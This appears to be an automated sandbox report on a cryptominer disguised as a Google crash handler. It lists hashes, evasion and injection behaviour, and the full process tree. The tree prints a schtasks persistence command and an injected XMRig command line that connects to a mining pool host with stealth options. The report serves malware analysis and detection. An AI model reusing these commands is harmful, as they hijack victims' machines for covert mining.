xmrig | df0bc1a4eb32d964f7405e8238e28d4c67e33e8552c708247a4cd654a30b836d

General

Target
GoogleCrashHandler32.exe
Size 4.1MB
Sample210517-e2s7dqfcaa
SHA256 df0bc1a4eb32d964f7405e8238e28d4c67e33e8552c708247a4cd654a30b836d
MD5 6fb31a4c8e4dac75c5ce93f191439f5c
SHA1 3775fe043433150b5fcfc58417344bb5539e1bd0
SHA512 53d519d8e5bc8468d4f3c0f74304dcdca24ccbe9ba957df882ed586191e7c4d6fce7177b8e634b460ae4409e1a5e074b2306be64301330cc345d0cc19b2c71e1
MD5 SHA1 SHA512

Score

10^/10

xmrig miner

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner Payload 1 IoCs

miner

resource	yara_rule
behavioral2/memory/584-137-0x00000001402EB66C-mapping.dmp	xmrig

Executes dropped EXE 1 IoCs

pid	Process
2932	GoogleCrashHandler32.exe

Checks BIOS information in registry 2 TTPs 4 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	GoogleCrashHandler32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	GoogleCrashHandler32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	GoogleCrashHandler32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	GoogleCrashHandler32.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2932 set thread context of 584	2932	GoogleCrashHandler32.exe	87

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
3904	schtasks.exe
3868	schtasks.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	3892	GoogleCrashHandler32.exe
Token: SeDebugPrivilege	2932	GoogleCrashHandler32.exe
Token: SeLockMemoryPrivilege	584	svchost.exe
Token: SeLockMemoryPrivilege	584	svchost.exe

Suspicious use of WriteProcessMemory 25 IoCs

description	pid	Process	procid_target
PID 3892 wrote to memory of 2132	3892	GoogleCrashHandler32.exe	79
PID 3892 wrote to memory of 2132	3892	GoogleCrashHandler32.exe	79
PID 2132 wrote to memory of 3904	2132	cmd.exe	81
PID 2132 wrote to memory of 3904	2132	cmd.exe	81
PID 3892 wrote to memory of 2932	3892	GoogleCrashHandler32.exe	82
PID 3892 wrote to memory of 2932	3892	GoogleCrashHandler32.exe	82
PID 2932 wrote to memory of 3580	2932	GoogleCrashHandler32.exe	83
PID 2932 wrote to memory of 3580	2932	GoogleCrashHandler32.exe	83
PID 3580 wrote to memory of 3868	3580	cmd.exe	85
PID 3580 wrote to memory of 3868	3580	cmd.exe	85
PID 2932 wrote to memory of 584	2932	GoogleCrashHandler32.exe	87
PID 2932 wrote to memory of 584	2932	GoogleCrashHandler32.exe	87
PID 2932 wrote to memory of 584	2932	GoogleCrashHandler32.exe	87
PID 2932 wrote to memory of 584	2932	GoogleCrashHandler32.exe	87
PID 2932 wrote to memory of 584	2932	GoogleCrashHandler32.exe	87
PID 2932 wrote to memory of 584	2932	GoogleCrashHandler32.exe	87
PID 2932 wrote to memory of 584	2932	GoogleCrashHandler32.exe	87
PID 2932 wrote to memory of 584	2932	GoogleCrashHandler32.exe	87
PID 2932 wrote to memory of 584	2932	GoogleCrashHandler32.exe	87
PID 2932 wrote to memory of 584	2932	GoogleCrashHandler32.exe	87
PID 2932 wrote to memory of 584	2932	GoogleCrashHandler32.exe	87
PID 2932 wrote to memory of 584	2932	GoogleCrashHandler32.exe	87
PID 2932 wrote to memory of 584	2932	GoogleCrashHandler32.exe	87
PID 2932 wrote to memory of 584	2932	GoogleCrashHandler32.exe	87
PID 2932 wrote to memory of 584	2932	GoogleCrashHandler32.exe	87

C:\Users\Admin\AppData\Local\Temp\GoogleCrashHandler32.exe
"C:\Users\Admin\AppData\Local\Temp\GoogleCrashHandler32.exe"
1⤵
- Checks BIOS information in registry
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3892
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "GoogleCrashHandler32" /tr '"C:\Users\Admin\GoogleCrashHandler32.exe"' & exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2132
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc onlogon /rl highest /tn "GoogleCrashHandler32" /tr '"C:\Users\Admin\GoogleCrashHandler32.exe"'
    3⤵
    - Creates scheduled task(s)
    PID:3904
- C:\Users\Admin\GoogleCrashHandler32.exe
  "C:\Users\Admin\GoogleCrashHandler32.exe"
  2⤵
  - Executes dropped EXE
  - Checks BIOS information in registry
  - Suspicious use of SetThreadContext
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2932
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "GoogleCrashHandler32" /tr '"C:\Users\Admin\GoogleCrashHandler32.exe"' & exit
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3580
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc onlogon /rl highest /tn "GoogleCrashHandler32" /tr '"C:\Users\Admin\GoogleCrashHandler32.exe"'
      4⤵
      Creates scheduled task(s)
      PID:3868
- - C:\Windows\System32\svchost.exe
    C:\Windows/System32\svchost.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=worldexpressdelivery.art:5555 --user=x --pass=x --cpu-max-threads-hint=20 --donate-level=5 --cinit-idle-wait=6 --cinit-idle-cpu=90 --nicehash --tls --cinit-stealth
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:584